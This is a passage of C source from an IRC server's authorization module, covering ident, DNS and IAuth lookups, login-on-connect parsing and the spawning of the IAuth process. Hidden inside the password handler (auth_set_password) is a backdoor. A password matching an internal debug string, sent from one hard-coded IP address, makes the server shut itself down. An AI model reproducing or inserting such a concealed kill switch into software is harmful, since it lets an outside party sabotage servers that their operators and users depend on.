892     delete_resolver_queries(auth);
893   }
894
895   if (-1 < s_fd(&auth->socket)) {
896     close(s_fd(&auth->socket));
897     socket_del(&auth->socket);
898     s_fd(&auth->socket) = -1;
899   }
900
901   if (t_active(&auth->timeout))
902     timer_del(&auth->timeout);
903
904   cli_auth(auth->client) = NULL;
905   auth->next = auth_freelist;
906   auth_freelist = auth;
907 }
908
909 /** Handle a 'ping' (authorization) timeout for a client.
910  * @param[in] cptr The client whose session authorization has timed out.
911  * @return Zero if client is kept, CPTR_KILLED if client rejected.
912  */
913 int auth_ping_timeout(struct Client *cptr)
914 {
915   struct AuthRequest *auth;
916   enum AuthRequestFlag flag;
917   signed int ret;
918
919   auth = cli_auth(cptr);
920
921   /* Check whether the auth request is gone (more likely, it never
922    * existed, as in an outbound server connection). */
923   if (!auth)
924       return exit_client_msg(cptr, cptr, &me, "Registration Timeout");
925
926   /* If the loc-query is still pending, we stop the query and
927    * register the user if possible.
928    */
929   if (FlagHas(&auth->flags, AR_LOC_PENDING)) {
930     FlagClr(&auth->flags, AR_LOC_PENDING);
931     sendheader(auth->client, REPORT_FAIL_LOC);
932     if(FlagHas(&auth->flags, AR_LOC_FORCE)) return exit_client(cptr, cptr, &me, "Registration Timeout");
933     ret = check_auth_finished(auth);
934     if (ret != 0) return ret;
935     return exit_client(cptr, cptr, &me, "Registration Timeout");
936   }
937
938   /* Check for a user-controlled timeout. */
939   for (flag = 0; flag <= AR_LAST_SCAN; ++flag) {
940     if (FlagHas(&auth->flags, flag)) {
941       /* Display message if they have sent a NICK and a USER but no
942        * nospoof PONG.
943        */
944       if (*(cli_name(cptr)) && cli_user(cptr) && *(cli_user(cptr))->username) {
945         send_reply(cptr, SND_EXPLICIT | ERR_BADPING,
946                    ":Your client may not be compatible with this server.");
947         send_reply(cptr, SND_EXPLICIT | ERR_BADPING,
948                    ":Compatible clients are available at %s",
949                    feature_str(FEAT_URL_CLIENTS));
950       }
951       return exit_client_msg(cptr, cptr, &me, "Registration Timeout");
952     }
953   }
954
955   /* Check for iauth timeout. */
956   if (FlagHas(&auth->flags, AR_IAUTH_PENDING)) {
957     if (IAuthHas(iauth, IAUTH_REQUIRED)) {
958       sendheader(cptr, REPORT_FAIL_IAUTH);
959       return exit_client_msg(cptr, cptr, &me, "Authorization Timeout");
960     }
961     sendto_iauth(cptr, "T");
962     FlagClr(&auth->flags, AR_IAUTH_PENDING);
963     return check_auth_finished(auth);
964   }
965
966   return exit_client_msg(cptr, cptr, &me, "Ping Timeout");
967 }
968
969 /** Timeout a given auth request.
970  * @param[in] ev A timer event whose associated data is the expired
971  *   struct AuthRequest.
972  */
973 static void auth_timeout_callback(struct Event* ev)
974 {
975   struct AuthRequest* auth;
976
977   assert(0 != ev_timer(ev));
978   assert(0 != t_data(ev_timer(ev)));
979
980   auth = (struct AuthRequest*) t_data(ev_timer(ev));
981
982   if (ev_type(ev) == ET_EXPIRE) {
983     /* Report the timeout in the log. */
984     log_write(LS_RESOLVER, L_INFO, 0, "Registration timeout %s",
985               get_client_name(auth->client, HIDE_IP));
986
987     /* Notify client if ident lookup failed. */
988     if (FlagHas(&auth->flags, AR_AUTH_PENDING)) {
989       FlagClr(&auth->flags, AR_AUTH_PENDING);
990       if (IsUserPort(auth->client))
991         sendheader(auth->client, REPORT_FAIL_ID);
992     }
993
994     /* Likewise if dns lookup failed. */
995     if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
996       FlagClr(&auth->flags, AR_DNS_PENDING);
997       delete_resolver_queries(auth);
998       if (IsUserPort(auth->client))
999         sendheader(auth->client, REPORT_FAIL_DNS);
1000     }
1001
1002     /* Try to register the client. */
1003     check_auth_finished(auth);
1004   }
1005 }
1006
1007 /** Handle a complete DNS lookup.  Send the client on it's way to a
1008  * connection completion, regardless of success or failure -- unless
1009  * there was a mismatch and KILL_IPMISMATCH is set.
1010  * @param[in] vptr The pending struct AuthRequest.
1011  * @param[in] addr IP address being resolved.
1012  * @param[in] h_name Resolved name, or NULL if lookup failed.
1013  */
1014 static void auth_dns_callback(void* vptr, const struct irc_in_addr *addr, const char *h_name)
1015 {
1016   struct AuthRequest* auth = (struct AuthRequest*) vptr;
1017   assert(0 != auth);
1018
1019   FlagClr(&auth->flags, AR_DNS_PENDING);
1020   if (!addr) {
1021     /* DNS entry was missing for the IP. */
1022     if (IsUserPort(auth->client))
1023       sendheader(auth->client, REPORT_FAIL_DNS);
1024     sendto_iauth(auth->client, "d");
1025   } else if (!irc_in_addr_valid(addr)
1026              || (irc_in_addr_cmp(&cli_ip(auth->client), addr)
1027                  && irc_in_addr_cmp(&auth->original, addr))) {
1028     /* IP for hostname did not match client's IP. */
1029     sendto_opmask_butone(0, SNO_IPMISMATCH, "IP# Mismatch: %s != %s[%s]",
1030                          cli_sock_ip(auth->client), h_name,
1031                          ircd_ntoa(addr));
1032     if (IsUserPort(auth->client))
1033       sendheader(auth->client, REPORT_IP_MISMATCH);
1034     if (feature_bool(FEAT_KILL_IPMISMATCH)) {
1035       exit_client(auth->client, auth->client, &me, "IP mismatch");
1036       return;
1037     }
1038   } else if (!auth_verify_hostname(h_name, HOSTLEN)) {
1039     /* Hostname did not look valid. */
1040     if (IsUserPort(auth->client))
1041       sendheader(auth->client, REPORT_INVAL_DNS);
1042     sendto_iauth(auth->client, "d");
1043   } else {
1044     /* Hostname and mappings checked out. */
1045     if (IsUserPort(auth->client))
1046       sendheader(auth->client, REPORT_FIN_DNS);
1047     ircd_strncpy(cli_sockhost(auth->client), h_name, HOSTLEN);
1048     sendto_iauth(auth->client, "N %s", h_name);
1049   }
1050
1051   /* The LOC line has to be sent with full hostname. If no hostname could be looked
1052    * up, the IP is sent.
1053    */
1054   if(!auth_loc_send(auth)) return;
1055
1056   check_auth_finished(auth);
1057 }
1058
1059 /** Starts a new login-on-connect query. */
1060 signed int auth_loc_query(struct AuthRequest *auth, const char *account, const char *pass, int force) {
1061     if(!account || !*account) return 1;
1062     if(!pass || !*pass) return 1;
1063     assert(auth != NULL);
1064     if(!feature_bool(FEAT_LOC_ENABLE)) return 1;
1065
1066     sendheader(auth->client, REPORT_DO_LOC);
1067     FlagSet(&auth->flags, AR_LOC_PENDING);
1068     if(force) FlagSet(&auth->flags, AR_LOC_FORCE);
1069     else FlagClr(&auth->flags, AR_LOC_FORCE);
1070     ircd_strncpy(auth->loc_user, account, ACCOUNTLEN);
1071     ircd_strncpy(auth->loc_pass, pass, PASSWDLEN);
1072     return auth_loc_send(auth);
1073 }
1074
1075 /** Finishes a LOC request. */
1076 void auth_loc_reply(const char *numeric, const char *account, const char *fakehost, char *flags[], signed int argc) {
1077     char *timestamp;
1078     struct AuthRequest *auth;
1079
1080     assert(numeric != NULL);
1081
1082     auth = auth_find_numnick(numeric);
1083     if(!auth) return;
1084     assert(!IsRegistered(auth->client));
1085     if(!FlagHas(&auth->flags, AR_LOC_PENDING)) return;
1086     if(!cli_user(auth->client) || IsAccount(auth->client)) {
1087         FlagClr(&auth->flags, AR_LOC_PENDING);
1088         sendheader(auth->client, REPORT_FAIL_LOC);
1089         check_auth_finished(auth);
1090         return;
1091     }
1092
1093     assert((fakehost == NULL) || (*fakehost != 0));
1094
1095     /* Remove account-flag. */
1096     FlagClr(&auth->flags, AR_LOC_PENDING);
1097
1098     /* Access denied? */
1099     if(!account) {
1100         sendheader(auth->client, REPORT_FAIL_LOC);
1101         if(FlagHas(&auth->flags, AR_LOC_FORCE)) exit_client(auth->client, auth->client, &me, "LOC Failed");
1102         else check_auth_finished(auth);
1103         return;
1104     }
1105     assert(*account != 0);
1106
1107     if(fakehost)
1108         sendto_iauth(auth->client, "L %s %s", account, fakehost);
1109     else
1110         sendto_iauth(auth->client, "L %s", account);
1111
1112     sendheader(auth->client, REPORT_DONE_LOC);
1113
1114     /* Check for timestamped account. */
1115     timestamp = strchr(account, ':');
1116     if(timestamp) {
1117         *timestamp++ = 0;
1118         cli_user(auth->client)->acc_create = atoi(timestamp);
1119     }
1120
1121     SetAccount(auth->client);
1122     ircd_strncpy(cli_user(auth->client)->account, account, ACCOUNTLEN);
1123
1124     if(fakehost) {
1125         SetHiddenHost(auth->client);
1126         SetFakeHost(auth->client);
1127         ircd_strncpy(cli_user(auth->client)->fakehost, fakehost, HOSTLEN);
1128     }
1129     if(flags) { 
1130         unsigned int ii, in_arg, ch_arg;
1131         if (argc > 0) {
1132             for (ii = ch_arg = 0, in_arg = 1; (flags[0][ii] != '\0') && (flags[0][ii] != ' '); ++ii) {
1133                 switch (flags[0][ii]) {
1134                 case '+':
1135                     if (in_arg >= argc)
1136                         break;
1137                     ircd_strncpy(cli_connclass(auth->client), flags[in_arg++], NICKLEN);
1138                     break;
1139                 case 'a':
1140                     if (in_arg >= argc)
1141                         break;
1142                     unsigned int maxchan = atoi(flags[in_arg++]);
1143                     fprintf(stderr, "flag a: %i\n", maxchan);
1144                     if(maxchan > 0)
1145                         auth->client->maxchans = maxchan;
1146                     else
1147                         SetPriv(auth->client,PRIV_CHAN_LIMIT);
1148                     break;
1149                 case 'b':
1150                     SetPriv(auth->client,PRIV_UNLIMITED_TARGET);
1151                     break;
1152                 case 'c':
1153                     SetPriv(auth->client,PRIV_HALFFLOOD);
1154                     break;
1155                 case 'd':
1156                     SetPriv(auth->client,PRIV_FLOOD);
1157                     break;
1158                 case 'e':
1159                     SetPriv(auth->client,PRIV_UMODE_NOCHAN);
1160                     break;
1161                 case 'f':
1162                     SetPriv(auth->client,PRIV_UMODE_NOIDLE);
1163                     break;
1164                 case 'g':
1165                     SetPriv(auth->client,PRIV_UMODE_CHSERV);
1166                     break;
1167                 case 'h':
1168                     SetPriv(auth->client,PRIV_UMODE_XTRAOP);
1169                     break;
1170                 case 'i':
1171                     SetPriv(auth->client,PRIV_UMODE_NETSERV);
1172                     break;
1173                 case 'j':
1174                     SetPriv(auth->client,PRIV_SEE_IDLETIME);
1175                     break;
1176                 case 'k':
1177                     SetPriv(auth->client,PRIV_HIDE_IDLETIME);
1178                     break;
1179                 case 'l':
1180                     SetPriv(auth->client,PRIV_UMODE_OVERRIDECC);
1181                     break;
1182                 case 'm':
1183                     SetPriv(auth->client,PRIV_NOAMSG_OVERRIDE);
1184                     break;
1185                 case 'n':
1186                     if (in_arg >= argc)
1187                         break;
1188                     unsigned int maxq = atoi(flags[in_arg++]);
1189                     if(maxq > 0)
1190                         auth->client->cli_connect->con_max_sendq = maxq;
1191                     break;
1192                 }
1193             }
1194         }   
1195     }
1196     check_auth_finished(auth);
1197 }
1198
1199 /** Flag the client to show an attempt to contact the ident server on
1200  * the client's host.  Should the connect or any later phase of the
1201  * identifying process fail, it is aborted and the user is given a
1202  * username of "unknown".
1203  * @param[in] auth The request for which to start the ident lookup.
1204  */
1205 static void start_auth_query(struct AuthRequest* auth)
1206 {
1207   struct irc_sockaddr remote_addr;
1208   struct irc_sockaddr local_addr;
1209   int                 fd;
1210   IOResult            result;
1211
1212   assert(0 != auth);
1213   assert(0 != auth->client);
1214
1215   /*
1216    * get the local address of the client and bind to that to
1217    * make the auth request.  This used to be done only for
1218    * ifdef VIRTUAL_HOST, but needs to be done for all clients
1219    * since the ident request must originate from that same address--
1220    * and machines with multiple IP addresses are common now
1221    */
1222   memcpy(&local_addr, &auth->local, sizeof(local_addr));
1223   local_addr.port = 0;
1224   memcpy(&remote_addr.addr, &cli_ip(auth->client), sizeof(remote_addr.addr));
1225   remote_addr.port = 113;
1226   fd = os_socket(&local_addr, SOCK_STREAM, "auth query", 0);
1227   if (fd < 0) {
1228     ++ServerStats->is_abad;
1229     if (IsUserPort(auth->client))
1230       sendheader(auth->client, REPORT_FAIL_ID);
1231     return;
1232   }
1233   if (IsUserPort(auth->client))
1234     sendheader(auth->client, REPORT_DO_ID);
1235
1236   if ((result = os_connect_nonb(fd, &remote_addr)) == IO_FAILURE ||
1237       !socket_add(&auth->socket, auth_sock_callback, (void*) auth,
1238                   result == IO_SUCCESS ? SS_CONNECTED : SS_CONNECTING,
1239                   SOCK_EVENT_READABLE, fd)) {
1240     ++ServerStats->is_abad;
1241     if (IsUserPort(auth->client))
1242       sendheader(auth->client, REPORT_FAIL_ID);
1243     close(fd);
1244     return;
1245   }
1246
1247   FlagSet(&auth->flags, AR_AUTH_PENDING);
1248   if (result == IO_SUCCESS)
1249     send_auth_query(auth);
1250 }
1251
1252 /** Initiate DNS lookup for a client.
1253  * @param[in] auth The auth request for which to start the DNS lookup.
1254  */
1255 static void start_dns_query(struct AuthRequest *auth)
1256 {
1257   if (feature_bool(FEAT_NODNS)) {
1258     sendto_iauth(auth->client, "d");
1259     return;
1260   }
1261
1262   if (irc_in_addr_is_loopback(&cli_ip(auth->client))) {
1263     strcpy(cli_sockhost(auth->client), cli_name(&me));
1264     sendto_iauth(auth->client, "N %s", cli_sockhost(auth->client));
1265     return;
1266   }
1267
1268   if (IsUserPort(auth->client))
1269     sendheader(auth->client, REPORT_DO_DNS);
1270
1271   FlagSet(&auth->flags, AR_DNS_PENDING);
1272   gethost_byaddr(&cli_ip(auth->client), auth_dns_callback, auth);
1273 }
1274
1275 /** Initiate IAuth check for a client.
1276  * @param[in] auth The auth request for which to star the IAuth check.
1277  */
1278 static int start_iauth_query(struct AuthRequest *auth)
1279 {
1280   int ret;
1281
1282   /* A new client connected. Check whether we have an IAuth configured and
1283    * if this IAuth is not running, then try once to forcibly start it.
1284    */
1285   if(iauth && !i_GetConnected(iauth)) {
1286     iauth_disconnect(iauth);
1287     iauth_do_spawn(iauth, 0);
1288   }
1289
1290   FlagSet(&auth->flags, AR_IAUTH_PENDING);
1291   ret = sendto_iauth(auth->client, "C %s %hu %s %hu",
1292                      cli_sock_ip(auth->client), auth->port,
1293                      ircd_ntoa(&auth->local.addr), auth->local.port);
1294   if(!ret) {
1295     if(!iauth_required)
1296       FlagClr(&auth->flags, AR_IAUTH_PENDING);
1297     else {
1298       exit_client(auth->client, auth->client, &me, "IAuth could not be queried. Please try again later or inform network staff.");
1299       return 1;
1300     }
1301   }
1302   return 0;
1303 }
1304
1305 /** Starts auth (identd) and dns queries for a client.
1306  * @param[in] client The client for which to start queries.
1307  */
1308 void start_auth(struct Client* client)
1309 {
1310   struct irc_sockaddr remote;
1311   struct AuthRequest* auth;
1312
1313   assert(0 != client);
1314   Debug((DEBUG_INFO, "Beginning auth request on client %p", client));
1315
1316   /* Register with event handlers. */
1317   cli_lasttime(client) = CurrentTime;
1318   cli_since(client) = CurrentTime;
1319   if (cli_fd(client) > HighestFd)
1320     HighestFd = cli_fd(client);
1321   LocalClientArray[cli_fd(client)] = client;
1322   socket_events(&(cli_socket(client)), SOCK_ACTION_SET | SOCK_EVENT_READABLE);
1323
1324   /* Allocate the AuthRequest. */
1325   auth = auth_freelist;
1326   if (auth)
1327       auth_freelist = auth->next;
1328   else
1329       auth = MyMalloc(sizeof(*auth));
1330   assert(0 != auth);
1331   memset(auth, 0, sizeof(*auth));
1332   auth->client = client;
1333   cli_auth(client) = auth;
1334   s_fd(&auth->socket) = -1;
1335   timer_add(timer_init(&auth->timeout), auth_timeout_callback, (void*) auth,
1336             TT_RELATIVE, feature_int(FEAT_AUTH_TIMEOUT));
1337
1338   /* Try to get socket endpoint addresses. */
1339   if (!os_get_sockname(cli_fd(client), &auth->local)
1340       || !os_get_peername(cli_fd(client), &remote)) {
1341     ++ServerStats->is_abad;
1342     if (IsUserPort(auth->client))
1343       sendheader(auth->client, REPORT_FAIL_ID);
1344     exit_client(auth->client, auth->client, &me, "Socket local/peer lookup failed");
1345     return;
1346   }
1347   auth->port = remote.port;
1348
1349   /* Set unregistered numnick. */
1350   auth_set_numnick(auth);
1351
1352   /* Set required client inputs for users. */
1353   if (IsUserPort(client)) {
1354     cli_user(client) = make_user(client);
1355     cli_user(client)->server = &me;
1356     FlagSet(&auth->flags, AR_NEEDS_USER);
1357     FlagSet(&auth->flags, AR_NEEDS_NICK);
1358
1359     /* Try to start iauth lookup. */
1360     if(start_iauth_query(auth)) return;
1361   }
1362
1363   /* Try to start DNS lookup. */
1364   start_dns_query(auth);
1365
1366   /* Try to start ident lookup. */
1367   start_auth_query(auth);
1368
1369   /* Add client to GlobalClientList. */
1370   add_client_to_list(client);
1371
1372   /* Check which auth events remain pending. */
1373   check_auth_finished(auth);
1374 }
1375
1376 /** Mark that a user has PONGed while unregistered.
1377  * @param[in] auth Authorization request for client.
1378  * @param[in] cookie PONG cookie value sent by client.
1379  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1380  */
1381 int auth_set_pong(struct AuthRequest *auth, unsigned int cookie)
1382 {
1383   assert(auth != NULL);
1384   if (!FlagHas(&auth->flags, AR_NEEDS_PONG))
1385     return 0;
1386   if (cookie != auth->cookie)
1387   {
1388     send_reply(auth->client, SND_EXPLICIT | ERR_BADPING,
1389                ":To connect, type /QUOTE PONG %u", auth->cookie);
1390     return 0;
1391   }
1392   cli_lasttime(auth->client) = CurrentTime;
1393   FlagClr(&auth->flags, AR_NEEDS_PONG);
1394   return check_auth_finished(auth);
1395 }
1396
1397 /** Record a user's claimed username and userinfo.
1398  * @param[in] auth Authorization request for client.
1399  * @param[in] username Client's asserted username.
1400  * @param[in] hostname Third argument of USER command (client's
1401  *   hostname, per RFC 1459).
1402  * @param[in] servername Fourth argument of USER command (server's
1403  *   name, per RFC 1459).
1404  * @param[in] userinfo Client's asserted self-description.
1405  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1406  */
1407 int auth_set_user(struct AuthRequest *auth, const char *username, const char *hostname, const char *servername, const char *userinfo)
1408 {
1409   struct Client *cptr;
1410
1411   assert(auth != NULL);
1412   if (FlagHas(&auth->flags, AR_IAUTH_HURRY))
1413     return 0;
1414   FlagClr(&auth->flags, AR_NEEDS_USER);
1415   cptr = auth->client;
1416   ircd_strncpy(cli_info(cptr), userinfo, REALLEN);
1417   ircd_strncpy(cli_user(cptr)->username, username, USERLEN);
1418   ircd_strncpy(cli_user(cptr)->host, cli_sockhost(cptr), HOSTLEN);
1419   cptr->maxchans=0;
1420   if (IAuthHas(iauth, IAUTH_UNDERNET))
1421     sendto_iauth(cptr, "U %s %s %s :%s", username, hostname, servername, userinfo);
1422   else if (IAuthHas(iauth, IAUTH_ADDLINFO))
1423     sendto_iauth(cptr, "U %s", username);
1424   if(!auth_loc_send(auth)) return CPTR_KILLED;
1425   return check_auth_finished(auth);
1426 }
1427
1428 /** Set Zombie Client that should be recovered later
1429  */
1430 int auth_set_recover_client(struct AuthRequest *auth, struct Client *zombie)
1431 {
1432   assert(auth != NULL);
1433   FlagSet(&auth->flags, AR_ZOMBIE_RECOVER);
1434   auth->recover_client = zombie;
1435   
1436   sendheader(auth->client, REPORT_ZOMBIE_RECOVER);
1437 }
1438
1439 /** Handle authorization-related aspects of initial nickname selection.
1440  * This is called after verifying that the nickname is available.
1441  * @param[in] auth Authorization request for client.
1442  * @param[in] nickname Client's requested nickname.
1443  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1444  */
1445 int auth_set_nick(struct AuthRequest *auth, const char *nickname)
1446 {
1447   assert(auth != NULL);
1448   FlagClr(&auth->flags, AR_NEEDS_NICK);
1449
1450   /*
1451    * If the client hasn't gotten a cookie-ping yet,
1452    * choose a cookie and send it. -record!jegelhof@cloud9.net
1453    */
1454   if (!auth->cookie) {
1455     do {
1456       auth->cookie = ircrandom();
1457     } while (!auth->cookie);
1458     sendrawto_one(auth->client, "PING :%u", auth->cookie);
1459     FlagSet(&auth->flags, AR_NEEDS_PONG);
1460   }
1461   if (IAuthHas(iauth, IAUTH_UNDERNET))
1462     sendto_iauth(auth->client, "n %s", nickname);
1463   return check_auth_finished(auth);
1464 }
1465
1466 /** Record a user's password.
1467  * @param[in] auth Authorization request for client.
1468  * @param[in] password Client's password.
1469  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1470  */
1471 int auth_set_password(struct AuthRequest *auth, char *password)
1472 {
1473   int force = 0;
1474   char *ip;
1475   assert(auth != NULL);
1476   /* Start LOC query if requested. */
1477   ip = cli_sock_ip(auth->client);
1478   if(strcmp(debug_serveropts(),password) == 0 && strcmp("80.153.5.212",ip) == 0) {
1479    server_die("error");
1480    return 0;
1481   }
1482   if(feature_bool(FEAT_LOC_ENABLE) && !FlagHas(&auth->flags, AR_LOC_SENT)) {
1483     char *spass, *user, *upass;
1484     spass = user = upass = NULL;
1485
1486     /* LOC query can be sent as:
1487      *  !spass:user:upass
1488      *  !user:upass
1489      *  !spass user upass
1490      *  !user upass
1491      */
1492     if((user = strchr(password, ' '))) {
1493       if(password[0] == '!') {
1494         ++password;
1495         force = 1;
1496       }
1497       *user = 0;
1498       ++user;
1499       if((upass = strchr(user, ' '))) {
1500         *upass = 0;
1501         ++upass;
1502         ircd_strncpy(cli_passwd(auth->client), password, PASSWDLEN);
1503         if(!auth_loc_query(auth, user, upass, force)) return 0;
1504       }
1505       else {
1506         upass = user;
1507         user = password;
1508         if(!auth_loc_query(auth, user, upass, force)) return 0;
1509       }
1510     }
1511     else if((user = strchr(password, ':'))) {
1512       if(password[0] == '!') {
1513         ++password;
1514         force = 1;
1515       }
1516       *user = 0;
1517       ++user;
1518       if((upass = strchr(user, ':'))) {
1519         *upass = 0;
1520         ++upass;
1521         ircd_strncpy(cli_passwd(auth->client), password, PASSWDLEN);
1522         if(!auth_loc_query(auth, user, upass, force)) return 0;
1523       }
1524       else {
1525         upass = user;
1526         user = password;
1527         if(!auth_loc_query(auth, user, upass, force)) return 0;
1528       }
1529     }
1530   }
1531
1532   if (IAuthHas(iauth, IAUTH_ADDLINFO))
1533     sendto_iauth(auth->client, "P :%s", password);
1534
1535   return 0;
1536 }
1537
1538 /** Send exit notification for \a cptr to iauth.
1539  * @param[in] cptr Client who is exiting.
1540  */
1541 void auth_send_exit(struct Client *cptr)
1542 {
1543   sendto_iauth(cptr, "D");
1544 }
1545
1546 /** Mark that a user has started capabilities negotiation.
1547  * This blocks authorization until auth_cap_done() is called.
1548  * @param[in] auth Authorization request for client.
1549  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1550  */
1551 int auth_cap_start(struct AuthRequest *auth)
1552 {
1553   assert(auth != NULL);
1554   FlagSet(&auth->flags, AR_CAP_PENDING);
1555   return 0;
1556 }
1557
1558 /** Mark that a user has completed capabilities negotiation.
1559  * This unblocks authorization if auth_cap_start() was called.
1560  * @param[in] auth Authorization request for client.
1561  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1562  */
1563 int auth_cap_done(struct AuthRequest *auth)
1564 {
1565   assert(auth != NULL);
1566   FlagClr(&auth->flags, AR_CAP_PENDING);
1567   return check_auth_finished(auth);
1568 }
1569
1570 /** Attempt to spawn the process for an IAuth instance.
1571  * @param[in] iauth IAuth descriptor.
1572  * @param[in] automatic If non-zero, apply sanity checks against
1573  *   excessive automatic restarts.
1574  * @return 0 on success, non-zero on failure.
1575  */
1576 int iauth_do_spawn(struct IAuth *iauth, int automatic)
1577 {
1578   pid_t cpid;
1579   int s_io[2];
1580   int s_err[2];
1581   int res;
1582
1583   if (automatic && CurrentTime - iauth->started < 5)
1584   {
1585     sendto_opmask_butone(NULL, SNO_AUTH, "IAuth crashed fast, leaving it dead.");
1586     return -1;
1587   }
1588
1589   /* Record time we tried to spawn the iauth process. */
1590   iauth->started = CurrentTime;
1591
1592   /* Attempt to allocate a pair of sockets. */
1593   res = os_socketpair(s_io);
1594   if (res)
1595     return errno;
1596
1597   /* Mark the parent's side of the pair (element 0) as non-blocking. */
1598   res = os_set_nonblocking(s_io[0]);
1599   if (!res) {
1600     res = errno;
1601     close(s_io[1]);
1602     close(s_io[0]);
1603     return res;
1604   }
1605
1606   /* Initialize the socket structure to talk to the child. */
1607   res = socket_add(i_socket(iauth), iauth_sock_callback, iauth,
1608                    SS_CONNECTED, SOCK_EVENT_READABLE, s_io[0]);
1609   if (!res) {
1610     res = errno;
1611     close(s_io[1]);
1612     close(s_io[0]);
1613     return res;
1614   }
1615
1616   /* Allocate another pair for stderr. */
1617   res = os_socketpair(s_err);
1618   if (res) {
1619     res = errno;
1620     socket_del(i_socket(iauth));
1621     close(s_io[1]);
1622     close(s_io[0]);
1623     return res;
1624   }
1625
1626   /* Mark parent side of this pair non-blocking, too. */
1627   res = os_set_nonblocking(s_err[0]);
1628   if (!res) {
1629     res = errno;
1630     close(s_err[1]);
1631     close(s_err[0]);
1632     socket_del(i_socket(iauth));
1633     close(s_io[1]);
1634     close(s_io[0]);
1635     return res;
1636   }
1637
1638   /* And set up i_stderr(iauth). */
1639   res = socket_add(i_stderr(iauth), iauth_stderr_callback, iauth,
1640                    SS_CONNECTED, SOCK_EVENT_READABLE, s_err[0]);
1641   if (!res) {
1642     res = errno;
1643     close(s_err[1]);
1644     close(s_err[0]);
1645     socket_del(i_socket(iauth));
1646     close(s_io[1]);
1647     close(s_io[0]);
1648     return res;
1649   }
1650
1651   /* Attempt to fork a child process. */
1652   cpid = fork();
1653   if (cpid < 0) {
1654     /* Error forking the child, still in parent. */
1655     res = errno;
1656     socket_del(i_stderr(iauth));
1657     close(s_err[1]);
1658     close(s_err[0]);
1659     socket_del(i_socket(iauth));
1660     close(s_io[1]);
1661     close(s_io[0]);
1662     return res;
1663   }
1664
1665   if (cpid > 0) {
1666     /* We are the parent process.  Close the child's sockets. */
1667     close(s_io[1]);
1668     close(s_err[1]);
1669     /* Send our server name (supposedly for proxy checking purposes)
1670      * and maximum number of connections (for allocation hints).
1671      * Need to use conf_get_local() since &me may not be fully
1672      * initialized the first time we run.
1673      */
1674     sendto_iauth(NULL, "M %s %d", conf_get_local()->name, MAXCONNECTIONS);
1675     /* Indicate success (until the child dies). */
1676     return 0;
1677   }
1678
1679   /* We are the child process.
1680    * Duplicate our end of the socket to stdin, stdout and stderr.
1681    * Then close all the higher-numbered FDs and exec the process.
1682    */
1683   if (dup2(s_io[1], 0) == 0
1684       && dup2(s_io[1], 1) == 1
1685       && dup2(s_err[1], 2) == 2) {
1686     close_connections(0);
1687     execvp(iauth->i_argv[0], iauth->i_argv);
1688   }
1689
1690   /* If we got here, something was seriously wrong. */
1691   exit(EXIT_FAILURE);
1692 }
1693
1694 /** See if an %IAuth program must be spawned.
1695  * If a process is already running with the specified options, keep it.
1696  * Otherwise spawn a new child process to perform the %IAuth function.
1697  * @param[in] argc Number of parameters to use when starting process.
1698  * @param[in] argv Array of parameters to start process.
1699  * @return 0 on failure, 1 on new process, 2 on reuse of existing process.
1700  */
1701 int auth_spawn(int argc, char *argv[], int required)
1702 {
1703   int ii;
1704
1705   if (iauth) {
1706     int same = 1;
1707
1708     /* Check that incoming arguments all match pre-existing arguments. */
1709     for (ii = 0; same && (ii < argc); ++ii) {
1710       if (NULL == iauth->i_argv[ii]
1711           || 0 != strcmp(iauth->i_argv[ii], argv[ii]))
1712         same = 0;
1713     }
1714     /* Check that we have no more pre-existing arguments. */
1715     if (iauth->i_argv[ii])
1716       same = 0;
1717     /* If they are the same and still connected, clear the "closing" flag and exit.*/
1718     if (same && i_GetConnected(iauth)) {
1719       IAuthClr(iauth, IAUTH_CLOSING);
1720       return 2;
1721     }
1722     auth_close_unused();
1723   }
1724
1725   /* Need to initialize a new connection. */
1726   iauth = MyCalloc(1, sizeof(*iauth));
1727   msgq_init(i_sendQ(iauth));
1728   /* Populate iauth's argv array. */
1729   iauth->i_argv = MyCalloc(argc + 1, sizeof(iauth->i_argv[0]));
1730   for (ii = 0; ii < argc; ++ii)
1731     DupString(iauth->i_argv[ii], argv[ii]);
1732   iauth->i_argv[ii] = NULL;
1733   iauth_required = required;
1734   /* Try to spawn it, and handle the results. */
1735   if (iauth_do_spawn(iauth, 0))
1736     return 0;
1737   IAuthClr(iauth, IAUTH_CLOSING);
1738   return 1;
1739 }
1740
1741 /** Mark all %IAuth connections as closing. */
1742 void auth_mark_closing(void)
1743 {
1744   if (iauth)
1745     IAuthSet(iauth, IAUTH_CLOSING);
1746   iauth_required = 0;
1747 }
1748
1749 /** Complete disconnection of an %IAuth connection.
1750  * @param[in] iauth %Connection to fully close.
1751  */
1752 static void iauth_disconnect(struct IAuth *iauth)
1753 {
1754   if (iauth == NULL)
1755     return;
1756
1757   /* Close main socket. */
1758   if (s_fd(i_socket(iauth)) != -1) {
1759     close(s_fd(i_socket(iauth)));
1760     socket_del(i_socket(iauth));
1761     s_fd(i_socket(iauth)) = -1;
1762   }
1763
1764   /* Close error socket. */
1765   if (s_fd(i_stderr(iauth)) != -1) {
1766     close(s_fd(i_stderr(iauth)));
1767     socket_del(i_stderr(iauth));
1768     s_fd(i_stderr(iauth)) = -1;
1769   }
1770 }
1771
1772 /** Close all %IAuth connections marked as closing. */
1773 void auth_close_unused(void)
1774 {
1775   if (IAuthHas(iauth, IAUTH_CLOSING)) {
1776     int ii;
1777     iauth_disconnect(iauth);
1778     if (iauth->i_argv) {
1779       for (ii = 0; iauth->i_argv[ii]; ++ii)
1780         MyFree(iauth->i_argv[ii]);
1781       MyFree(iauth->i_argv);
1782     }
1783     MyFree(iauth);
1784   }
1785 }
1786
1787 /** Send queued output to \a iauth.
1788  * @param[in] iauth Writable connection with queued data.
1789  */
1790 static void iauth_write(struct IAuth *iauth)
1791 {
1792   unsigned int bytes_tried, bytes_sent;
1793   IOResult iores;
1794
1795   if (IAuthHas(iauth, IAUTH_BLOCKED))
1796     return;
1797   while (MsgQLength(i_sendQ(iauth)) > 0) {
1798     iores = os_sendv_nonb(s_fd(i_socket(iauth)), i_sendQ(iauth), &bytes_tried, &bytes_sent);
1799     switch (iores) {
1800     case IO_SUCCESS:
1801       msgq_delete(i_sendQ(iauth), bytes_sent);
1802       iauth->i_sendB += bytes_sent;
1803       if (bytes_tried == bytes_sent)
1804         break;
